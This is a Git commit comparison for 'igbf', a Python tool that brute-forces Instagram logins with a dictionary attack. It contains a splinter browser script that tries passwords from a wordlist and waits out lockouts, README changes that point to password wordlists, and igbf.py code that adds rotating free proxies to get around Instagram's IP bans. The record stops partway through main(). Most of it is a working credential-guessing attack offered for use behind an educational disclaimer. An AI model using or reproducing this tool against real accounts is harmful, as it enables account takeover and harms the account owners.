Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
050cc8d5e5 | ||
|
|
19fb6c21ee | ||
|
|
da512410a4 | ||
|
|
4d4f9dba48 | ||
|
|
8516232a56 | ||
|
|
5bbcd48459 | ||
|
|
bdee32a9c7 | ||
|
|
8a4fbe212b | ||
|
|
e7bfd26c05 | ||
|
|
6b8f7becbc | ||
|
|
e7e44bd871 | ||
|
|
92d4f3a568 | ||
|
|
f2af1ee50a | ||
|
|
0381cfc667 | ||
|
|
34e7b76b7b | ||
|
|
773ec1aa29 | ||
|
|
1f4b904059 | ||
|
|
810e651171 | ||
|
|
fec0a572d3 | ||
|
|
c0efeb0929 | ||
|
|
4cbc4b5424 | ||
|
|
60ee43c621 | ||
|
|
c8edb9d0a2 | ||
|
|
112c885502 | ||
|
|
5fa013be0b | ||
|
|
9d3ce0161f | ||
|
|
b43c1c48a9 | ||
|
|
8e6c70f767 | ||
|
|
7d189d2f73 | ||
|
|
3e559160ab | ||
|
|
dc00913699 | ||
|
|
37d13e56b6 | ||
|
|
270b1abb53 | ||
|
|
0897424898 | ||
|
|
11a9796726 | ||
|
|
5c7d23ff66 |
No files matched your search
@@ -0,0 +1,43 @@
|
||||
#!/bin/python
|
||||
from splinter import Browser
|
||||
import time
|
||||
import sys
|
||||
wait_time = (11 * 60 + 35) # 11 mins and 35 seconds
|
||||
problem_logging_in = "There was a problem logging you into Instagram. Please try again soon."
|
||||
|
||||
def logInSuccess(browser):
|
||||
user_err_msg = "The username you entered doesn't belong to an account. Please check your username and try again."
|
||||
pass_err_msg = "Sorry, your password was incorrect. Please double-check your password."
|
||||
return not(browser.is_text_present(user_err_msg) or browser.is_text_present(pass_err_msg))
|
||||
|
||||
correctPassword = None
|
||||
account_username = sys.argv[1]
|
||||
with Browser('firefox', headless=True) as browser:
|
||||
browser.visit('https://www.instagram.com')
|
||||
browser.find_by_text("Log in").first.click()
|
||||
username_form = browser.find_by_name('username').first
|
||||
password_form = browser.find_by_name('password').first
|
||||
login_button = browser.find_by_text('Log in').first
|
||||
username_form.fill(account_username)
|
||||
for password in sys.stdin:
|
||||
if len(password) < 6:
|
||||
print('Skipping password: ' + password)
|
||||
continue
|
||||
|
||||
print('Testing password: ' + password)
|
||||
password_form.clear()
|
||||
password_form.fill(password)
|
||||
login_button.click()
|
||||
|
||||
if browser.is_text_present(problem_logging_in):
|
||||
print('Waiting for timeout to end.')
|
||||
time.sleep(wait_time)
|
||||
print('Timeout has ended, resuming.')
|
||||
elif logInSuccess(browser):
|
||||
correctPassword = password
|
||||
break
|
||||
if correctPassword == None:
|
||||
print("Unable to find correct password.")
|
||||
else:
|
||||
print("Password for username: " + account_username + " = " + password)
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 29 MiB |
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"version": "1.2",
|
||||
"developer": "s41r4j",
|
||||
"release": "v1.2",
|
||||
"language": "python3"
|
||||
}
|
||||
@@ -1,14 +1,35 @@
|
||||
<h1 align=center> [ igbf ]: Instagram Brute Force (login) </h1>
|
||||
<h3 align=center> Brute Force Instargam accounts w/ dictionary attack and get the login password! </h3>
|
||||
<h1 align=center> [ igbf ]: Instagram Brute Forcer </h1>
|
||||
<h3 align=center> Brute Force Instargam account logins w/ dictionary attack! </h3>
|
||||
|
||||
|
||||
<!-- <p align="center">
|
||||
<a href="#" alt="version">
|
||||
<img src="https://img.shields.io/badge/dynamic/json?color=blue&label=version&query=%24.version&url=https%3A%2F%2Fraw.githubusercontent.com%2Fs41r4j%2Figbf%2Fmain%2F.media%2Fmaintainer.json" /></a>
|
||||
<a href="#" alt="language">
|
||||
<img src="https://img.shields.io/badge/dynamic/json?color=blue&label=language&query=%24.language&url=https%3A%2F%2Fraw.githubusercontent.com%2Fs41r4j%2Figbf%2Fmain%2F.media%2Fmaintainer.json" /></a>
|
||||
<a href="https://github.com/s41r4j/igbf/releases" alt="latest release">
|
||||
<img src="https://img.shields.io/badge/dynamic/json?color=success&label=latest release&query=%24.release&url=https%3A%2F%2Fraw.githubusercontent.com%2Fs41r4j%2Figbf%2Fmain%2F.media%2Fmaintainer.json" /></a>
|
||||
<a href="#" alt="Stars">
|
||||
<img src="https://img.shields.io/github/stars/s41r4j/igbf.svg" /></a>
|
||||
<a href="https://github.com/s41r4j/igbf" alt="Activity">
|
||||
<img src="https://img.shields.io/github/commit-activity/m/s41r4j/igbf" /></a>
|
||||
<a href="https://twitter.com/intent/follow?screen_name=s41r4j">
|
||||
<img src="https://img.shields.io/twitter/follow/s41r4j?style=social&logo=twitter"
|
||||
alt="follow on Twitter"></a>
|
||||
</p> -->
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
<br><br>
|
||||
|
||||
## Disclaimer :warning:
|
||||
- [ igbf ]: is a __proof-of-concept__ & build for __educational purpose__
|
||||
- You should have __explict__ permission for testing _account security_ from the _owner_ (remember _“With great power comes great responsibility”_)
|
||||
- [dev](https://github.com/s41r4j) is not responsible for any illegal use (it is end user's responsibility)
|
||||
- This [project](https://github.com/s41r4j/igbf/) is only a __proof-of-concept__ & build for __educational purpose__
|
||||
- You should have __explict__ permission for testing _account security_ from the _owner_
|
||||
- [developer](https://github.com/s41r4j) is not responsible for any illegal use, it is end user's responsibility
|
||||
> _“With great power comes great responsibility”_
|
||||
|
||||
<br>
|
||||
|
||||
@@ -16,33 +37,45 @@
|
||||
|
||||
- ___Installation___
|
||||
|
||||
Just clone and start using, no need to install any requirements (but internet connection is essential)
|
||||
- Just clone and start using, no need of installing any requirements.
|
||||
- Internet connection is essential
|
||||
- To use proxy, a library (`pip install beautifulsoup4`) is required; The program installs it for you while running (if not present)
|
||||
- Also you can get the latest version from [releases](https://github.com/s41r4j/igbf/releases)
|
||||
|
||||
|
||||
`git clone https://github.com/s41r4j/igbf` (`cd igbf`)
|
||||
```bash
|
||||
git clone https://github.com/s41r4j/igbf
|
||||
cd igbf
|
||||
```
|
||||
|
||||
<br>
|
||||
|
||||
- ___Help Menu___
|
||||
|
||||
`python3 igbf.py` / `python3 igbf.py -h`
|
||||
|
||||
```bash
|
||||
python3 igbf.py
|
||||
```
|
||||
usage: igbf.py [-h] [-u USERNAME] [-w WORDLIST PATH] [-t TIMEOUT] [-g [PATH_TO_SAVE_PROXY_LIST]] [-p [PATH_TO_PROXY_LIST]]
|
||||
|
||||
(s41r4j:igbf)> Instagram Brute Force
|
||||
``` bash
|
||||
usage: igbf.py [-h] [-u USERNAME] [-w WORDLIST PATH] [-t TIMEOUT] [-v] [-p] [-l PROXY_LIMIT] [-f PROXY FILE PATH]
|
||||
|
||||
(s41r4j:igbf)> Instagram Brute Forcer
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-u USERNAME, --username USERNAME
|
||||
instagram username
|
||||
instagram username (*required)
|
||||
-w WORDLIST PATH, --wordlist WORDLIST PATH
|
||||
password wordlist
|
||||
password wordlist (*required)
|
||||
-t TIMEOUT, --timeout TIMEOUT
|
||||
timeout between each request (default: 2)
|
||||
-g [PATH_TO_SAVE_PROXY_LIST], --generate-proxy-list [PATH_TO_SAVE_PROXY_LIST]
|
||||
genereate proxy list (give full path, ending with '/' or '\')
|
||||
-p [PATH_TO_PROXY_LIST], --proxy [PATH_TO_PROXY_LIST]
|
||||
use proxy list (give full path, ending with "/" or "\")
|
||||
timeout between each request in secs (default: 2)
|
||||
-v, --verbose verbose mode (displays failed logins and more)
|
||||
-p, --proxy built-in ip rotating proxy (additinal library required)
|
||||
-l PROXY_LIMIT, --proxy-limit PROXY_LIMIT
|
||||
limit the number of proxies to use (default: 300; max: 300; min: 1)
|
||||
-f PROXY FILE PATH, --proxy-file PROXY FILE PATH
|
||||
use custom proxy file (`-p` & `-l` disabled)
|
||||
|
||||
|
||||
```
|
||||
|
||||
@@ -50,26 +83,35 @@ optional arguments:
|
||||
|
||||
- ___Example___
|
||||
|
||||
`python3 igbf.py -u USERNAME -w /PATH/TO/PASSWORD/WORDLIST`
|
||||
```bash
|
||||
python3 igbf.py -u USERNAME -w /PATH/TO/PASSWORD/WORDLIST -v
|
||||
```
|
||||
|
||||
<br>
|
||||
|
||||
### Wordlists :page_with_curl:
|
||||
|
||||
Those who are using hacking linux machine (like kali/parrot os, which has pre-installed stuff), can find password wordlist at `/usr/share/wordlists/` (mostly `rockyou.txt`, if it is `rockyou.txt.gz` - unzip with `tar -xvzf rockyou.txt.gz`)
|
||||
Those who are using linux/hacking machines (like kali/parrot os, which has pre-installed stuff), can find password wordlist at `/usr/share/wordlists/` (mostly `rockyou.txt`, if it is `rockyou.txt.gz` - unzip with `tar -xvzf rockyou.txt.gz`)
|
||||
|
||||
Download links (password wordlists):
|
||||
Download links for password wordlists:
|
||||
- [praetorian-inc/Hob0Rules/__wordlists__](https://github.com/praetorian-inc/Hob0Rules/tree/master/wordlist)
|
||||
- [danielmiessler/__SecLists__/Passwords/Common-Creden](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials)
|
||||
|
||||
Find more @ [Kaggle](https://www.kaggle.com/search?q=Common+Password+List) (also [this](https://www.kaggle.com/search?q=Password+List))
|
||||
Find more @[Kaggle](https://www.kaggle.com/search?q=Common+Password+List) & @[Github](https://github.com/search?q=passwords%20wordlists&type=repositories)
|
||||
|
||||
|
||||
<br>
|
||||
|
||||
### Note :bookmark_tabs:
|
||||
- It only supports single username (currently), so feel free to add features (do PR) & contribute
|
||||
- I tried to integrate proxies for every request, but currently it's not working (-g gives non working proxies)
|
||||
- __Language__: Python3, __OS__: Win, Mac, Unix/Linux (also Termux)
|
||||
- It only supports single username (currently)
|
||||
- I tried to integrate proxy ip rotating for every request, but there are some issues at the moment
|
||||
- If you're not using proxy, instagram blocks/bans your ip (temporarily, dw) after 7-8 attempts
|
||||
- Supports: Windows, Mac, Unix/Linux (Termux)
|
||||
|
||||
- If you have any quries/issues/errors, open an issue [here](https://github.com/s41r4j/igbf/issues)
|
||||
- I'm open to all contributions, clone and do a pull request
|
||||
|
||||
|
||||
|
||||
<!--  -->
|
||||
|
||||
@@ -1,75 +0,0 @@
|
||||
<h1 align=center> [ igbf ]: Instagram Brute Force (login) </h1>
|
||||
<h3 align=center> Brute Force Instargam accounts w/ dictionary attack and get the login password! </h3>
|
||||
|
||||

|
||||
|
||||
<br><br>
|
||||
|
||||
## Disclaimer :warning:
|
||||
- [ igbf ]: is a __proof-of-concept__ & build for __educational purpose__
|
||||
- You should have __explict__ permission for testing _account security_ from the _owner_ (remember _“With great power comes great responsibility”_)
|
||||
- [dev](https://github.com/s41r4j) is not responsible for any illegal use (it is end user's responsibility)
|
||||
|
||||
<br>
|
||||
|
||||
## Usage :placard:
|
||||
|
||||
- ___Installation___
|
||||
|
||||
Just clone and start using, no need to install any requirements (but internet connection is essential)
|
||||
|
||||
`git clone https://github.com/s41r4j/igbf` (`cd igbf`)
|
||||
|
||||
<br>
|
||||
|
||||
- ___Help Menu___
|
||||
|
||||
`python3 igbf.py` / `python3 igbf.py -h`
|
||||
|
||||
```
|
||||
usage: igbf.py [-h] [-u USERNAME] [-w WORDLIST PATH] [-t TIMEOUT] [-g [PATH_TO_SAVE_PROXY_LIST]] [-p [PATH_TO_PROXY_LIST]]
|
||||
|
||||
(s41r4j:igbf)> Instagram Brute Force
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-u USERNAME, --username USERNAME
|
||||
instagram username
|
||||
-w WORDLIST PATH, --wordlist WORDLIST PATH
|
||||
password wordlist
|
||||
-t TIMEOUT, --timeout TIMEOUT
|
||||
timeout between each request (default: 2)
|
||||
-g [PATH_TO_SAVE_PROXY_LIST], --generate-proxy-list [PATH_TO_SAVE_PROXY_LIST]
|
||||
genereate proxy list (give full path, ending with '/' or '\')
|
||||
-p [PATH_TO_PROXY_LIST], --proxy [PATH_TO_PROXY_LIST]
|
||||
use proxy list (give full path, ending with "/" or "\")
|
||||
|
||||
```
|
||||
|
||||
<br>
|
||||
|
||||
- ___Example___
|
||||
|
||||
`python3 igbf.py -u USERNAME -w /PATH/TO/PASSWORD/WORDLIST`
|
||||
|
||||
<br>
|
||||
|
||||
### Wordlists :page_with_curl:
|
||||
|
||||
Those who are using hacking linux machine (like kali/parrot os, which has pre-installed stuff), can find password wordlist at `/usr/share/wordlists/` (mostly `rockyou.txt`, if it is `rockyou.txt.gz` - unzip with `tar -xvzf rockyou.txt.gz`)
|
||||
|
||||
Download links (password wordlists):
|
||||
- [praetorian-inc/Hob0Rules/__wordlists__](https://github.com/praetorian-inc/Hob0Rules/tree/master/wordlist)
|
||||
- [danielmiessler/__SecLists__/Passwords/Common-Creden](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials)
|
||||
|
||||
Find more @ [Kaggle](https://www.kaggle.com/search?q=Common+Password+List) (also [this](https://www.kaggle.com/search?q=Password+List))
|
||||
|
||||
|
||||
<br>
|
||||
|
||||
### Note :bookmark_tabs:
|
||||
- It only supports single username (currently), so feel free to add features (do PR) & contribute
|
||||
- I tried to integrate proxies for every request, but currently it's not working (-g gives non working proxies)
|
||||
- __Language__: Python3, __OS__: Win, Mac, Unix/Linux (also Termux)
|
||||
- If you have any quries/issues/errors, open an issue [here](https://github.com/s41r4j/igbf/issues)
|
||||
|
||||
@@ -1,7 +1,27 @@
|
||||
# igbf: Instagram Brute Force
|
||||
# description: A tool to perform brute force attack on Instagram
|
||||
# dev: @s41r4j
|
||||
# version: 1.1
|
||||
#!/usr/bin/python3
|
||||
|
||||
#######################################################################
|
||||
# #
|
||||
# [igbf] : Instagram Brute Forcer #
|
||||
# [desc] : python3 script to perform instagram login brute force #
|
||||
# [version] : 1.4 #
|
||||
# [dev] : @s41r4j #
|
||||
# [github] : https://github.com/s41r4j/igbf #
|
||||
# #
|
||||
#######################################################################
|
||||
|
||||
#######################################################################
|
||||
# #
|
||||
# [!] Legal/Ethical disclaimer: #
|
||||
# #
|
||||
# > Usage of igbf.py for attacking targets without prior mutual #
|
||||
# consent is illegal. #
|
||||
# > It's the end user's responsibility to obey all applicable #
|
||||
# local, state and federal laws. #
|
||||
# > Developers assume no liability and are not responsible #
|
||||
# for any misuse or damage caused by this program. #
|
||||
# #
|
||||
#######################################################################
|
||||
|
||||
import requests
|
||||
import sys
|
||||
@@ -105,79 +125,240 @@ def get_public_ip():
|
||||
|
||||
return r
|
||||
|
||||
def printit(text, center='', line_up=False, line_down=False, space_up=False, space_down=False, coledt=[0, 0, 0], normaltxt_start='', normaltxt_end=''):
|
||||
# get terminal width
|
||||
width = os.get_terminal_size().columns
|
||||
def printit(text, center='', line_up=False, line_down=False, space_up=False, space_down=False, coledt=[0, 0, 0], normaltxt_start='', normaltxt_end='', hide=False, verbose_mode=False):
|
||||
if not hide or verbose_mode:
|
||||
# get terminal width
|
||||
width = os.get_terminal_size().columns
|
||||
|
||||
# printing text
|
||||
if space_up: print()
|
||||
if line_up: print('⸺'*width)
|
||||
# printing text
|
||||
if space_up: print()
|
||||
if line_up: print('⸺'*width)
|
||||
|
||||
print(normaltxt_start, end='')
|
||||
|
||||
if len(text) < width:
|
||||
new_width = int((width - len(text))/2)
|
||||
print(center*new_width, end='')
|
||||
print(f'\33[{coledt[0]};{coledt[1]};{coledt[2]}m'+text+'\033[0m', end='')
|
||||
print(center*new_width)
|
||||
|
||||
# print(normaltxt_end, end='')
|
||||
|
||||
if line_down: print('⸺'*width)
|
||||
if space_down: print()
|
||||
|
||||
def printit2(text, coledt=[0, 0, 0], normaltxt_start=''):
|
||||
print(normaltxt_start, end='')
|
||||
print(f'\33[{coledt[0]};{coledt[1]};{coledt[2]}m', end='')
|
||||
print(text, end='')
|
||||
print('\033[0m', end='')
|
||||
|
||||
if len(text) < width:
|
||||
new_width = int((width - len(text))/2)
|
||||
print(center*new_width, end='')
|
||||
print(f'\33[{coledt[0]};{coledt[1]};{coledt[2]}m'+text+'\033[0m', end='')
|
||||
print(center*new_width)
|
||||
def install(package):
|
||||
import subprocess
|
||||
import sys
|
||||
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
|
||||
|
||||
def check_connection():
|
||||
try:
|
||||
r = requests.get('https://www.instagram.com', timeout=10)
|
||||
if r.status_code == 200:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except requests.exceptions.ConnectionError:
|
||||
raise requests.exceptions.ConnectionError
|
||||
except:
|
||||
return False
|
||||
|
||||
# print(normaltxt_end, end='')
|
||||
def get_working_proxies(verbose, proxies):
|
||||
# Importing modules required for proxy
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import re
|
||||
|
||||
# Fetching working proxy list
|
||||
def fetch(session, proxy):
|
||||
url = random.choice(check_proxies)
|
||||
if verbose: printit(f"[+] Proxy: {proxy} | Checking url: {url}", coledt=[1, 49, 93])
|
||||
with session.get(url, proxies={'http': proxy, 'https': proxy}, timeout=10) as response:
|
||||
if response.status_code == 200:
|
||||
if verbose:
|
||||
if url == "https://httpbin.org/ip":
|
||||
printit(f"[=] Proxy: {proxy} -> Response: {response.json()['origin']}", coledt=[1, 49, 33])
|
||||
else:
|
||||
printit(f"[=] Proxy: {proxy} -> Response: {response.text.strip()}", coledt=[1, 49, 33])
|
||||
|
||||
if line_down: print('⸺'*width)
|
||||
if space_down: print()
|
||||
# match proxy ip (seprated by :) from response.text and ip returned by proxy/requests
|
||||
proxy_re = re.search(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", proxy).group()
|
||||
response_re = re.search(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", response.text).group()
|
||||
|
||||
if proxy_re == response_re:
|
||||
working_proxies.append(proxy)
|
||||
|
||||
# Sorting working proxies
|
||||
working_proxies = []
|
||||
check_proxies = ["http://ident.me/", "https://httpbin.org/ip", "https://api.ipify.org/", "https://icanhazip.com/", "https://ip.oxylabs.io/ip"]
|
||||
|
||||
# Checking if the proxy is working
|
||||
with requests.Session() as session:
|
||||
with ThreadPoolExecutor(max_workers=50) as executor:
|
||||
executor.map(fetch, [session] * len(proxies), proxies * len(proxies))
|
||||
|
||||
# Printing total working proxies
|
||||
printit(str(len(working_proxies)), coledt=[1, 49, 96], normaltxt_start="\n[+] Total working proxies found: ", space_down=True, line_down=True)
|
||||
|
||||
return working_proxies
|
||||
|
||||
def builtin_proxy(verbose, proxy_limit):
|
||||
try:
|
||||
import bs4
|
||||
except:
|
||||
printit("[!] Installing required modules for proxy\n", coledt=[1, 49, 92], line_up=True, space_down=True)
|
||||
install('beautifulsoup4')
|
||||
printit("[+] Modules installed successfully\n", coledt=[1, 49, 92], space_up=True, line_down=True)
|
||||
import bs4
|
||||
|
||||
# Sending a request to get proxy list
|
||||
url = 'https://free-proxy-list.net/' # 'https://www.freeproxylists.net/'
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Cafari/537.36'}
|
||||
|
||||
try:
|
||||
source = str(requests.get(url, headers=headers, timeout=10).text)
|
||||
except:
|
||||
printit('[!] Failed to fetch proxy list', coledt=[1, 49, 91])
|
||||
while True:
|
||||
print("[?] Continue without proxy? (y/n): ", end='')
|
||||
choice = input().lower()
|
||||
if choice == 'y':
|
||||
return False
|
||||
elif choice == 'n':
|
||||
raise KeyboardInterrupt()
|
||||
else:
|
||||
printit('\n[!] Enter y/Y for YES or n/N for NO', coledt=[1, 49, 91])
|
||||
|
||||
# Extracting the proxies from the page
|
||||
soup = bs4.BeautifulSoup(source, 'lxml')
|
||||
proxies = soup.find_all('textarea')[0].text.split('\n')
|
||||
proxies = [proxy for proxy in proxies if proxy.strip()]
|
||||
|
||||
# Removing the first two elements (non-proxy elements)
|
||||
proxies.pop(0)
|
||||
proxies.pop(0)
|
||||
|
||||
# Limiting the number of proxies
|
||||
proxies = proxies[:proxy_limit]
|
||||
|
||||
# Printing proxy info
|
||||
printit(f"[#] Generating proxies...", coledt=[1, 49, 91], line_up=True)
|
||||
printit(str(len(proxies)), coledt=[1, 49, 96], normaltxt_start="[+] Total proxies avaliable: ")
|
||||
printit(f"\n[+] Scanning working proxies...\n[!] This may take few mins...", coledt=[1, 49, 92])
|
||||
if verbose:
|
||||
time.sleep(1)
|
||||
print()
|
||||
|
||||
# Returning working proxies (from the list)
|
||||
return get_working_proxies(verbose, proxies)
|
||||
|
||||
def custom_proxy(verbose, file_proxies, proxy_limit):
|
||||
# Reading the proxy file -> list
|
||||
proxies = file_proxies.read().splitlines()
|
||||
|
||||
# Limiting the number of proxies
|
||||
proxies = proxies[:proxy_limit]
|
||||
|
||||
# Printing proxy info
|
||||
printit("[#] Reading proxies...", coledt=[1, 49, 91], line_up=True)
|
||||
printit(str(len(proxies)), coledt=[1, 49, 96], normaltxt_start="[+] Total proxies avaliable: ")
|
||||
printit(f"\n[+] Scanning working proxies from proxy file...\n[!] This may take few mins...", coledt=[1, 49, 92])
|
||||
if verbose:
|
||||
time.sleep(1)
|
||||
print()
|
||||
|
||||
# Returning working proxies (from the list)
|
||||
return get_working_proxies(verbose, proxies)
|
||||
|
||||
def print_login_failed(password, verbose, proxy, proxies, login_response_status_code):
|
||||
if proxy:
|
||||
printit("["+str(proxies['http'])+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93], hide=True, verbose_mode=verbose)
|
||||
else:
|
||||
printit("["+str(login_response_status_code)+"] Login failed (incorrect pwd: "+password+")", coledt=[1, 49, 93], hide=True, verbose_mode=verbose)
|
||||
|
||||
|
||||
def main():
|
||||
# Taking command line arguments using argparse
|
||||
parser = argparse.ArgumentParser(description='(s41r4j:igbf)> Instagram Brute Force')
|
||||
parser.add_argument('-u', '--username', help='instagram username')
|
||||
parser.add_argument('-w', '--wordlist', help='password wordlist', metavar='WORDLIST PATH')
|
||||
parser.add_argument('-t', '--timeout', help='timeout between each request (default: 2)', default=2, type=int)
|
||||
parser.add_argument('-g', '--generate-proxy-list', help="genereate proxy list (give full path, ending with '/' or '\\')", metavar='PATH_TO_SAVE_PROXY_LIST', nargs='?')
|
||||
parser.add_argument('-p', '--proxy', help='use proxy list (give full path, ending with "/" or "\\")', metavar='PATH_TO_PROXY_LIST', nargs='?')
|
||||
parser = argparse.ArgumentParser(description='(s41r4j:igbf)> Instagram Brute Forcer')
|
||||
parser.add_argument('-u', '--username', help='instagram username (*required)', metavar='USERNAME')
|
||||
parser.add_argument('-w', '--wordlist', help='password wordlist (*required)', metavar='WORDLIST PATH')
|
||||
parser.add_argument('-t', '--timeout', help='timeout between each request in secs (default: 2)', default=2, type=int)
|
||||
parser.add_argument('-v', '--verbose', help='verbose mode (displays failed logins and more)', action='store_true', default=False)
|
||||
parser.add_argument('-p', '--proxy', help='built-in ip rotating proxy (additinal library required)', action='store_true', default=False)
|
||||
parser.add_argument('-l', '--proxy-limit', help='limit the number of proxies to use (default: 300; max: 300; min: 1)', default=300, type=int)
|
||||
parser.add_argument('-f', '--proxy-file', help='use custom proxy file (`-p` & `-l` disabled)', metavar='PROXY FILE PATH', default=False)
|
||||
# parser.add_argument('-g', '--get', help='update the program to the latest version', action='store_true', default=False)
|
||||
args = parser.parse_args()
|
||||
|
||||
# Assigning the arguments to variables
|
||||
username = args.username
|
||||
wordlist = args.wordlist
|
||||
timeout = args.timeout
|
||||
gen_proxy_list = args.generate_proxy_list
|
||||
verbose = args.verbose
|
||||
proxy = args.proxy
|
||||
proxy_file = args.proxy_file
|
||||
proxy_limit = args.proxy_limit
|
||||
|
||||
if proxy_file:
|
||||
# Getting the custom proxy file
|
||||
proxy = True
|
||||
try:
|
||||
file_proxies = open(proxy_file, 'r')
|
||||
except FileNotFoundError:
|
||||
printit(f'[!] {proxy_file} file not found', coledt=[4, 49, 91])
|
||||
raise KeyboardInterrupt()
|
||||
else:
|
||||
# If number of proxies is more than 300 or less than 1, set it to default (300)
|
||||
if proxy_limit > 300 or proxy_limit < 1:
|
||||
proxy_limit = 300
|
||||
|
||||
# Logo
|
||||
printit('[ Instagram Brute Force (igbf:v1.1) ]', center=' ', line_up=True, line_down=True, coledt=[7, 49, 97])
|
||||
printit('[ dev: s41r4j; https://github.com/s41r4j/igbf ]', center=' ', coledt=[1, 49, 91], line_down=True)
|
||||
|
||||
# Generating proxy list
|
||||
if gen_proxy_list is not None:
|
||||
try:
|
||||
url = 'https://www.proxy-list.download/api/v1/get?type=http&anon=elite'
|
||||
proxies = requests.get(url).text.split('\r\n')
|
||||
except:
|
||||
printit('[!] Unable to generate proxy list', coledt=[1, 49, 91])
|
||||
sys.exit()
|
||||
|
||||
path = gen_proxy_list+'igbf_proxy_list.txt'
|
||||
|
||||
with open(path, 'w') as f:
|
||||
for proxy in proxies:
|
||||
f.write(proxy + '\n')
|
||||
|
||||
printit('[+] Generated proxy list at location: '+path, coledt=[1, 49, 92], line_down=True)
|
||||
sys.exit()
|
||||
printit(" ██▓ ▄████ ▄▄▄▄ █████▒", center=' ', coledt=[1, 49, 91], line_up=True)
|
||||
printit("▓██▒ ██▒ ▀█▒▓█████▄ ▓██ ▒", center=' ', coledt=[1, 49, 91])
|
||||
printit("▒██▒▒██░▄▄▄░▒██▒ ▄██▒████ ░", center=' ', coledt=[1, 49, 91])
|
||||
printit("░██░░▓█ ██▓▒██░█▀ ░▓█▒ ░", center=' ', coledt=[1, 49, 91])
|
||||
printit("░██░░▒▓███▀▒░▓█ ▀█▓░▒█░ ", center=' ', coledt=[1, 49, 91])
|
||||
printit("░▓ ░▒ ▒ ░▒▓███▀▒ ▒ ░ ░ ", center=' ', coledt=[1, 49, 91])
|
||||
printit("▒ ░ ░ ░ ▒░▒ ░ ░ ░ ", center=' ', coledt=[1, 49, 91])
|
||||
printit("▒ ░░ ░ ░ ░ ░ ░ ░ ░▒ ", center=' ', coledt=[1, 49, 91])
|
||||
printit("░ ░ ░ ", center=' ', coledt=[1, 49, 91])
|
||||
printit(" ░ ░ ", center=' ', coledt=[1, 49, 91])
|
||||
printit('[ Instagram Brute Forcer (igbf:v1.4) ]', center=' ', coledt=[7, 49, 97], line_down=True)
|
||||
|
||||
# Checking if the arguments have been passed
|
||||
if username is None or wordlist is None:
|
||||
parser.print_help()
|
||||
printit('[!] Missing required arguments', coledt=[1, 49, 91], line_up=True)
|
||||
printit('[-] `-u/--username` and `-w/--wordlist` are required arguments', coledt=[1, 49, 91], line_down=True)
|
||||
sys.exit()
|
||||
|
||||
# Checking if the wordlist file exists
|
||||
if not os.path.exists(wordlist):
|
||||
printit(f"\n[!] '{wordlist}' file not found", coledt=[1, 49, 91])
|
||||
raise KeyboardInterrupt()
|
||||
|
||||
# Checking if the connection is available
|
||||
if not check_connection():
|
||||
printit("\n[!] Failed to connect to servers\n[!] Check your internet connection", coledt=[1, 49, 91])
|
||||
raise KeyboardInterrupt()
|
||||
|
||||
# Displaying the information
|
||||
printit(get_public_ip(), coledt=[1, 49, 96], normaltxt_start='[+] Public IP: ')
|
||||
printit("dictionary attack", line_down=True, coledt=[1, 49, 96], normaltxt_start='[+] Attack Type: ')
|
||||
printit(str(username), coledt=[1, 49, 96], normaltxt_start='[+] Username: ')
|
||||
printit(str(wordlist), coledt=[1, 49, 96], normaltxt_start='[+] Wordlist: ')
|
||||
printit(str(timeout), coledt=[1, 49, 96], normaltxt_start='[+] Timeout: ')
|
||||
printit((str(proxy) if proxy else "False"), coledt=[1, 49, 96], normaltxt_start='[+] Proxy: ', line_down=True, space_down=True)
|
||||
printit(get_public_ip(), coledt=[1, 49, 96], normaltxt_start='[+] Public IP : ')
|
||||
printit("dictionary attack", coledt=[1, 49, 96], normaltxt_start='[+] Attack Type: ')
|
||||
printit('https://github.com/s41r4j/igbf', coledt=[1, 49, 91], normaltxt_start='[+] Github : ', line_down=True)
|
||||
printit(str(username), coledt=[1, 49, 96], normaltxt_start='[+] Username : ')
|
||||
printit(str(wordlist), coledt=[1, 49, 96], normaltxt_start='[+] Wordlist : ')
|
||||
printit(str(timeout), coledt=[1, 49, 96], normaltxt_start='[+] Timeout : ')
|
||||
printit((str(proxy) if proxy else "False"), coledt=[1, 49, 96], normaltxt_start='[+] Proxy : ')
|
||||
if proxy_file: printit(str(proxy_file), coledt=[1, 49, 96], normaltxt_start='[+] Proxy file : ')
|
||||
if proxy: printit((str(proxy_limit)), coledt=[1, 49, 96], normaltxt_start='[+] Limit proxy: ')
|
||||
printit(str(verbose), coledt=[1, 49, 96], normaltxt_start='[+] Verbose : ', line_down=True)
|
||||
|
||||
# Opening the wordlist
|
||||
try:
|
||||
@@ -186,29 +367,40 @@ def main():
|
||||
printit('[!] Wordlist not found', coledt=[4, 49, 91])
|
||||
sys.exit()
|
||||
|
||||
# Opening the proxy list
|
||||
if proxy is not None:
|
||||
try:
|
||||
proxy = open(proxy, 'r')
|
||||
except FileNotFoundError:
|
||||
printit('[!] Proxy list not found', coledt=[4, 49, 91])
|
||||
while True:
|
||||
choice = input('[?] Do you want to continue without proxy? (y/n): ')
|
||||
if choice.lower() == 'y':
|
||||
print()
|
||||
break
|
||||
elif choice.lower() == 'n':
|
||||
sys.exit()
|
||||
else:
|
||||
continue
|
||||
# Generating proxy list
|
||||
if proxy_file: proxies = custom_proxy(verbose, file_proxies, proxy_limit)
|
||||
elif proxy: proxies = builtin_proxy(verbose, proxy_limit)
|
||||
|
||||
# If proxy is enabled and no working proxies found
|
||||
if (proxy or proxy_file) and len(proxies) == 0:
|
||||
printit('[!] No working proxies found', coledt=[1, 49, 91])
|
||||
while True:
|
||||
print("[?] Continue without proxy? (y/n): ", end='')
|
||||
choice = input().lower()
|
||||
if choice == 'y':
|
||||
proxy = False
|
||||
proxy_file = False
|
||||
break
|
||||
elif choice == 'n':
|
||||
